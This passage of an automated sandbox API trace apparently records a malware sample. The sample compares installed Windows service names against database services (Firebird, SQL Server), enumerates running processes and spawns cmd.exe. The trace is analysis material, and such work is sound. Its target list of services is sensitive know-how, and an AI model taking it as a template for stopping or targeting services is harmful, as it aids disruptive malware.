	[0180.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.209] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0180.209] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0180.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0180.209] lstrlenW (lpString="NcbService") returned 10
	[0180.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0180.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0180.209] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0180.209] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0180.210] lstrlenW (lpString="netprofm") returned 8
	[0180.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0180.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0180.210] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0180.210] lstrlenW (lpString="NgcSvc") returned 6
	[0180.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0180.210] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0180.210] lstrlenW (lpString="NlaSvc") returned 6
	[0180.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0180.210] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0180.210] lstrlenW (lpString="nsi") returned 3
	[0180.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0180.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0180.210] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0180.210] lstrlenW (lpString="PcaSvc") returned 6
	[0180.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.210] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0180.210] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0180.211] lstrlenW (lpString="PlugPlay") returned 8
	[0180.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0180.211] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0180.211] lstrlenW (lpString="Power") returned 5
	[0180.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0180.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0180.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0180.211] lstrlenW (lpString="ProfSvc") returned 7
	[0180.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0180.211] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0180.211] lstrlenW (lpString="RpcEptMapper") returned 12
	[0180.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0180.211] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0180.211] lstrlenW (lpString="RpcSs") returned 5
	[0180.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0180.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0180.211] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0180.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0180.212] lstrlenW (lpString="SamSs") returned 5
	[0180.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0180.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0180.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0180.212] lstrlenW (lpString="Schedule") returned 8
	[0180.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0180.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0180.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0180.212] lstrlenW (lpString="SecurityHealthService") returned 21
	[0180.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0180.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0180.212] lstrlenW (lpString="SENS") returned 4
	[0180.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0180.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0180.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0180.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0180.212] lstrlenW (lpString="ShellHWDetection") returned 16
	[0180.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0180.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0180.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0180.213] lstrlenW (lpString="Spooler") returned 7
	[0180.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0180.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0180.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0180.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0180.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0180.213] lstrlenW (lpString="StateRepository") returned 15
	[0180.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0180.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0180.213] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0180.213] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0180.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0180.214] lstrlenW (lpString="SysMain") returned 7
	[0180.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0180.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0180.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0180.214] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0180.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0180.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0180.214] lstrlenW (lpString="Themes") returned 6
	[0180.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0180.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0180.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0180.214] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0180.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.214] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0180.214] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0180.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c
	[0180.219] Process32FirstW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0180.220] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0180.220] lstrlenW (lpString="System") returned 6
	[0180.220] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0180.221] lstrlenW (lpString="smss.exe") returned 8
	[0180.221] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.221] lstrlenW (lpString="csrss.exe") returned 9
	[0180.221] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0180.222] lstrlenW (lpString="wininit.exe") returned 11
	[0180.222] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.222] lstrlenW (lpString="csrss.exe") returned 9
	[0180.222] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0180.223] lstrlenW (lpString="winlogon.exe") returned 12
	[0180.223] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0180.223] lstrlenW (lpString="services.exe") returned 12
	[0180.223] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0180.224] lstrlenW (lpString="lsass.exe") returned 9
	[0180.224] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.224] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.224] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.225] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.225] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.225] lstrlenW (lpString="svchost.exe") returned 11
	[0180.225] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.226] lstrlenW (lpString="svchost.exe") returned 11
	[0180.226] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0180.226] lstrlenW (lpString="dwm.exe") returned 7
	[0180.226] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.227] lstrlenW (lpString="svchost.exe") returned 11
	[0180.227] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.227] lstrlenW (lpString="svchost.exe") returned 11
	[0180.227] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.228] lstrlenW (lpString="svchost.exe") returned 11
	[0180.228] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.228] lstrlenW (lpString="svchost.exe") returned 11
	[0180.228] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.229] lstrlenW (lpString="svchost.exe") returned 11
	[0180.229] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.229] lstrlenW (lpString="svchost.exe") returned 11
	[0180.229] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.230] lstrlenW (lpString="svchost.exe") returned 11
	[0180.230] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.230] lstrlenW (lpString="svchost.exe") returned 11
	[0180.230] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.231] lstrlenW (lpString="svchost.exe") returned 11
	[0180.231] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.231] lstrlenW (lpString="svchost.exe") returned 11
	[0180.231] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0180.232] lstrlenW (lpString="spoolsv.exe") returned 11
	[0180.232] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.232] lstrlenW (lpString="svchost.exe") returned 11
	[0180.232] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0180.233] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0180.233] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0180.233] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0180.233] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0180.234] lstrlenW (lpString="audiodg.exe") returned 11
	[0180.234] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0180.234] lstrlenW (lpString="Memory Compression") returned 18
	[0180.235] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0180.235] lstrlenW (lpString="taskhostw.exe") returned 13
	[0180.235] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0180.235] lstrlenW (lpString="sihost.exe") returned 10
	[0180.235] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.236] lstrlenW (lpString="svchost.exe") returned 11
	[0180.236] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0180.236] lstrlenW (lpString="taskhostw.exe") returned 13
	[0180.236] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0180.237] lstrlenW (lpString="explorer.exe") returned 12
	[0180.237] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0180.237] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0180.237] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0180.238] lstrlenW (lpString="SearchUI.exe") returned 12
	[0180.238] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0180.238] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0180.238] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0180.239] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0180.239] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0180.239] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0180.239] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
